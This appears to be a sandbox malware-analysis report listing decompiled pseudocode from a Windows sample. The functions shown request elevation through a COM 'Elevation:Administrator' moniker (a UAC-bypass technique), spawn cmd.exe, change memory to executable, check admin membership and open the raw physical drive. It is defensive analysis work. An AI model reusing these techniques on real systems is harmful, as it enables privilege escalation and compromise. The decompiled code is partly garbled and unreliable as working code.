Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID:
String ID: $$Elevation:Administrator!new:
API String ID: 0-4251798642
Opcode ID: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction ID: 0ae50f5eb3c30b6def060569edfd5a96dae8f03997bbe75f6d7b2be729599e56
Opcode Fuzzy Hash: 62b649c32f93d2337679038de5d7ba034d8f130c97f012f79e63509bd4f77841
Instruction Fuzzy Hash: B31154B1C1020CABCB10EF94DD85AEE7778AB54305F14456AFA097A181E738EB44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D17F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0040D17F(void* __eax, void* __edx, void* __eflags) {
				void* _t13;

				_t13 = __eax;
				asm("scasd");
				asm("movsb");
				if (__eflags < 0) goto L4;
				 *__edx =  *__edx | __al;
				 *__eax =  *__eax + __al;
				__eflags =  *__eax;
				__ecx = __ebp - 0x230;
				__eax = E0040335C(__ecx);
				__esp = __esp + 8;
				__edx = __ebp - 0x230;
				E00408BFE(__ecx, __ebp - 0x230, L"Elevation:Administrator!new:") =  *((intOrPtr*)(__ebp + 8));
				__ecx = __ebp - 0x230;
				__eax = E0040B160(__ebp - 0x230,  *((intOrPtr*)(__ebp + 8)));
				__edx = __ebp - 0x28;
				__eax = E0040335C(__ecx, __ebp - 0x28, 0x24);
				 *(__ebp - 0x28) = 0x24;
				__eax =  *((intOrPtr*)(__ebp + 0xc));
				 *((intOrPtr*)(__ebp - 0x14)) =  *((intOrPtr*)(__ebp + 0xc));
				__ecx =  *((intOrPtr*)(__ebp + 0x14));
				__edx =  *(__ebp + 0x10);
				__eax = __ebp - 0x28;
				__ecx = __ebp - 0x230;
				_t13 =  *0x413080(__ebp - 0x230, __ebp - 0x28,  *(__ebp + 0x10),  *((intOrPtr*)(__ebp + 0x14)), __ecx, 0x208); // executed
				return _t13;
			}

0x0040d17f
0x0040d17f
0x0040d180
0x0040d181
0x0040d183
0x0040d185
0x0040d185
0x0040d187
0x0040d18e
0x0040d193
0x0040d19b
0x0040d1aa
0x0040d1ae
0x0040d1b5
0x0040d1bf
0x0040d1c3
0x0040d1cb
0x0040d1d2
0x0040d1d5
0x0040d1d8
0x0040d1dc
0x0040d1e0
0x0040d1e4
0x0040d1eb
0x00404ba0

APIs

CoGetObject.OLE32(?,00000024,?,?), ref: 0040D1EB

Strings

Elevation:Administrator!new:, xrefs: 0040D196
$, xrefs: 0040D1CB

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Object
String ID: $$Elevation:Administrator!new:
API String ID: 2936123098-4251798642
Opcode ID: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction ID: b31a3ccbf289bc63fcd2c03f84205c468a6b0dd351633bc6c62a4601e098767b
Opcode Fuzzy Hash: 69272883a17b5f6f07e2d21893714d2c4baf9a1707031f0601c46702adeeea6a
Instruction Fuzzy Hash: 140162B2810208ABCB05EF90DC95DDE7B78AB18305F08455EF9057A181EB39E748CB75

Uniqueness

Uniqueness Score: -1.00%

Function 004063CE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E004063CE() {
				void* _t11;
				void* _t15;
				void* _t16;
				void* _t17;

				_push(ds);
				__eax = E00405C4C(); // executed
				if(__eax >= 0x2000) {
					E00405D04(_t11, _t15, _t16, _t17 - 0x624, 0); // executed
				} else {
					E0040335C(__ebp - 0x20c, __ebp - 0x20c, 0x20a) = E00405312(L"%systemroot%\\system32\\cmd.exe", __ebp - 0x20c, 0x104);
					__ebp - 0x418 = E00408BFE(__ecx, __ebp - 0x418, L"/C ");
					__ecx = __ebp - 0x624;
					E0040B160(__ebp - 0x418, __ebp - 0x624) = __ebp - 0x418;
					__ecx = __ebp - 0x20c;
					__eax = E00405D04(__ebx, __edi, __esi, __ebp - 0x20c, __ebp - 0x418);
				}
				ExitProcess(0);
			}

0x004063ce
0x004063d2
0x004063dc
0x00402608
0x004063e2
0x00406407
0x0040641b
0x00406423
0x00406439
0x00406440
0x00406447
0x0040644c
0x0040a945

APIs

Part of subcall function 00405C4C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401244
Part of subcall function 00405C4C: LocalFree.KERNEL32(00000000), ref: 00403BD3
Part of subcall function 00405C4C: OpenProcessToken.ADVAPI32(000000FF,00000008,00000000), ref: 00409C94

ExitProcess.KERNEL32 ref: 0040A945

Part of subcall function 00405312: RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
Part of subcall function 00405312: RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

%systemroot%\system32\cmd.exe, xrefs: 00406402
/C , xrefs: 0040640F

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseEnvironmentExitExpandFindFreeInitLocalNotificationOpenStringStrings_TokenUnicode
String ID: %systemroot%\system32\cmd.exe$/C
API String ID: 1629495445-3057154508
Opcode ID: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction ID: 6885a5c3f576ce6d6f9b2f3c688c14414178aeb406d1450dcc701d4c4953fbe4
Opcode Fuzzy Hash: 74dd183bfbc60cce3caee40a229eb83cba66efea863e32e52d49e009b086718c
Instruction Fuzzy Hash: 88F0A4F280030866CB10EB70DC46FDA33389B14305F0045BAB609B60C2EE7997C88AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0092D486 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0092D4AE
Module32First.KERNEL32(00000000,00000224), ref: 0092D4CE

Memory Dump Source

Source File: 0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0092C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_92c000_AF0C.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6f515119588d24c37b30de8bb1d77c374c1af04609e6a661044aaaef22870223
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 00F090322017216FE7203BF9BC8DB6E76ECAF89725F104529E646914D4DB70FC458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00401352 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00401352(intOrPtr _a8, intOrPtr _a12, long _a16, DWORD* _a20) {
				void* _v4;
				long _v8;
				intOrPtr _v12;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t24;
				void* _t25;
				void* _t32;

				_pop(_t26);
				asm("sbb dword [eax+ebp*8], 0xaee35f9e");
				asm("adc dl, [ss:ebp-0x1374aa86]");
				_push(_t17);
				_v12 = E00404873(E00403D7B(_t17, _t24, _t25), 0x30dbca36);
				_t15 = E00404B1D(_t32, _a8, _a12);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v4 = _t18;
				_v8 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v4, _v8, _a16, _a20);
			}

0x00401352
0x00401353
0x0040135a
0x00401364
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction ID: a34d84a8aa74edc03bf23277289f2878ef58b524965e171c6cbb9bf5a1c13c13
Opcode Fuzzy Hash: 23b8f15108349a094178a66cda89c25afec04ff88fbbd6386f4d34c7ae965c1b
Instruction Fuzzy Hash: 6EF01276C0020CFFCF01AFA5C995CADBF75FF08204B0484AEF90426162DB369A24EB04

Uniqueness

Uniqueness Score: -1.00%

Function 0040135E Relevance: 1.5, APIs: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040135E(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12, DWORD* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				void* __ebx;
				void* _t15;
				void* _t17;
				void* _t18;
				void* _t23;

				_t23 = __eflags;
				_v16 = E00404873(E00403D7B(_t17, __edi, __esi), 0x30dbca36);
				_t15 = E00404B1D(_t23, _a4, _a8);
				_t18 =  *((intOrPtr*)(_t15 + 4));
				_v8 = _t18;
				_v12 =  *((intOrPtr*)(_t15 + 8)) - _t18;
				return VirtualProtect(_v8, _v12, _a12, _a16);
			}

0x0040135e
0x00401376
0x0040137f
0x00401384
0x0040138c
0x0040138f
0x004013a6

APIs

VirtualProtect.KERNELBASE(?,?,?,?,?,?,00000000,30DBCA36), ref: 0040139E

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction ID: c3339b175f8b132734afde4b87bcd326777cd273dbfa93b5593f16fc1374389e
Opcode Fuzzy Hash: fe7d76ad10c6a880bf5e1dfd2e6ced56b71b8bba822c6e1022d11efbb5b05653
Instruction Fuzzy Hash: 3DF0F876C0020CBFCF01AFA5D955C9DBFB9FF48200F0084AEB91466162D7369A20AB54

Uniqueness

Uniqueness Score: -1.00%

Function 0092D145 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0092D196

Memory Dump Source

Source File: 0000000C.00000002.434869552.000000000092C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0092C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_92c000_AF0C.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 0cf3b2bca02bc4b7883a313ecdf7d38aca886912d94faf14bb9dee0a60e91502
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1D113C79A00208EFDB01DF98C985E98BBF5AF08350F058094F9489B362D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00408958 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E00408958(void* __eax, void* __ecx, void* __edx, void* __edi, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(__ebp);
				__ebp = __esp;
				__esp = __esp - 0x2c;
				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x0040895b
0x0040895c
0x0040895e
0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040895B(void* __ecx, void* __edx, char* _a4) {
				void* _v8;
				int _v12;
				long _v16;
				void _v48;
				void* __ebp;

				_push(0);
				 *__edx =  *__edx + __ch;
				_v8 = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				__eax =  &_v16;
				__ecx =  &_v48;
				__edx = _v8;
				_v12 = DeviceIoControl(_v8, 0x560000, 0, 0,  &_v48, 0x20,  &_v16, 0);
				__eax = _a4;
				__ecx = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *__eax = __ecx;
				__edx = M004133C4; // 0x53594850
				__eax[4] = __edx;
				__ecx = M004133C8; // 0x4c414349
				__eax[8] = __ecx;
				__edx = M004133CC; // 0x56495244
				__eax[0xc] = __edx;
				__cx =  *0x4133d0; // 0x3045
				__eax[0x10] = __cx;
				__dl =  *0x4133d2; // 0x0
				__eax[0x12] = __dl;
				if(_v12 != 0 && _v48 != 0) {
					__eax = 0x18;
					__ecx = 0;
					 *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) =  *((intOrPtr*)(__ebp + 0xffffffffffffffdc)) + 0x30;
					__eax = 1;
					__ecx = 0x11;
					__eax = _a4;
					_a4[0x11] = __dl;
				}
				return  *0x46d000(_v8);
			}

0x00408961
0x00408962
0x00408978
0x0040897d
0x00408983
0x00408990
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x004089eb
0x004089f0
0x004089f7
0x004089fa
0x004089ff
0x00408a02
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00408951(void* __eax, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi) {
				char* _t24;
				char _t31;
				char _t32;
				char _t33;
				char _t39;
				char _t40;
				char _t41;
				void* _t46;

				 *__edx =  *__edx + __ecx;
				 *(_t46 - 4) = CreateFileA("\\\\.\\C:", 0, 3, 0, 3, ??, ??);
				 *((intOrPtr*)(_t46 - 8)) = DeviceIoControl( *(_t46 - 4), 0x560000, 0, 0, _t46 - 0x2c, 0x20, _t46 - 0xc, 0);
				_t24 =  *(_t46 + 8);
				_t31 = "\\\\.\\PHYSICALDRIVE0"; // 0x5c2e5c5c
				 *_t24 = _t31;
				_t39 = M004133C4; // 0x53594850
				_t24[4] = _t39;
				_t32 = M004133C8; // 0x4c414349
				_t24[8] = _t32;
				_t40 = M004133CC; // 0x56495244
				_t24[0xc] = _t40;
				_t33 =  *0x4133d0; // 0x3045
				_t24[0x10] = _t33;
				_t41 =  *0x4133d2; // 0x0
				_t24[0x12] = _t41;
				if( *((intOrPtr*)(_t46 - 8)) != 0 &&  *(_t46 - 0x2c) != 0) {
					( *(_t46 + 8))[0x11] =  *((intOrPtr*)(_t46 + 0xffffffffffffffdc)) + 0x30;
				}
				return  *0x46d000( *(_t46 - 4));
			}

0x00408962
0x00408978
0x0040899a
0x0040899d
0x004089a0
0x004089a6
0x004089a8
0x004089ae
0x004089b1
0x004089b7
0x004089ba
0x004089c0
0x004089c3
0x004089ca
0x004089ce
0x004089d4
0x004089db
0x00408a05
0x00408a05
0x004047ed

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004082B6 Relevance: 4.5, APIs: 3, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 36%

			E004082B6() {
				long _v8;
				void* _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				struct _SID_IDENTIFIER_AUTHORITY _v20;

				_v20.Value = 0;
				_v19 = 0;
				_v18 = 0;
				_v17 = 0;
				_v16 = 0;
				_v15 = 5;
				_v8 = 0;
				if(AllocateAndInitializeSid( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12) != 0) {
					_push( &_v8);
					_push(_v12);
					_push(0);
					if( *0x413014() == 0) {
						_v8 = 0;
					}
					FreeSid(_v12);
					return _v8;
				} else {
					return 0;
				}
				return _t16;
			}

0x004082bc
0x004082c0
0x004082c4
0x004082c8
0x004082cc
0x004082d0
0x004082d4
0x00408300
0x0040483e
0x00404842
0x00404843
0x0040484d
0x00404853
0x00404853
0x0040aa9c
0x00000000
0x00408306
0x00000000
0x00408306
0x00401be7

APIs

CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00404845
AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004082F8
FreeSid.ADVAPI32(?), ref: 0040AA9C

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction ID: 1502378442f3bba6843c10e462c5ea7b9d530f023e777048d123248eda5abe90
Opcode Fuzzy Hash: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction Fuzzy Hash: C9014470A04348FAEB10DBE4C948BEEBFB8AB15705F008499E101BA1C1D3B89B04DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040803E Relevance: 2.5, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040803E(long _a4) {

				return HeapAlloc(GetProcessHeap(), 8, _a4);
			}

0x00408058

APIs

GetProcessHeap.KERNEL32 ref: 00408043
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 0040804F

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction ID: 26dd1f9777305501ff1cd5e9f76bd07b448e1de680a266f39bdfa576d74df3df
Opcode Fuzzy Hash: 9eeb162fac0e7b2b561fcdca3624e3961f8c086fc480d638f46e66c3c0d42865
Instruction Fuzzy Hash: 24C08CB7048308BFEA009FE1FC0EEAB7FACE799722F00C02AF20040050DA72A1109778

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B453(intOrPtr __eax, void* __edi) {
				intOrPtr _t9;
				void* _t12;
				void* _t13;
				void* _t19;
				void* _t20;

				_t19 = __edi;
				_t9 = __eax;
				_t12 = 2;
				asm("loop 0x7f");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				do {
					_t13 = _t12 - 1;
					if(_t13 == 0) {
						do {
							 *((intOrPtr*)(_t20 - 4)) =  *((intOrPtr*)(_t20 - 4)) - 0x1000;
						} while ( *((char*)( *((intOrPtr*)(_t20 - 4)))) != 0x4d ||  *((char*)( *((intOrPtr*)(_t20 - 4)) + 1)) != 0x5a);
						_t9 =  *((intOrPtr*)(_t20 - 4));
						_t13 = 0x1000;
						goto L1;
					} else {
						_t9 = _t9 + 1;
						L1:
						goto L2;
					}
					L13:
					L2:
					_push(_t9);
					_t12 = _t13 + 1;
					_t19 = _t19 + 1;
					_t20 = _t20 + 1;
				} while (_t20 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0x59465256);
				return  *((intOrPtr*)(_t20 - 4));
				goto L13;
			}

0x0040b453
0x0040b453
0x0040b453
0x0040b455
0x0040b46d
0x0040b46f
0x0040b471
0x0040b473
0x0040b473
0x0040b477
0x0040dce8
0x0040dcf1
0x00408de6
0x00408dff
0x00408e02
0x00000000
0x0040b47d
0x0040b47d
0x00402320
0x00000000
0x00402320
0x00000000
0x00402322
0x00402322
0x00402323
0x00402324
0x00402325
0x00402325
0x0040e3ff
0x00000000

APIs

DeviceIoControl.KERNEL32(00000000,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 0000000C.00000002.434575102.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.434575102.0000000000410000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.0000000000413000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000C.00000002.434575102.000000000046E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_AF0C.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
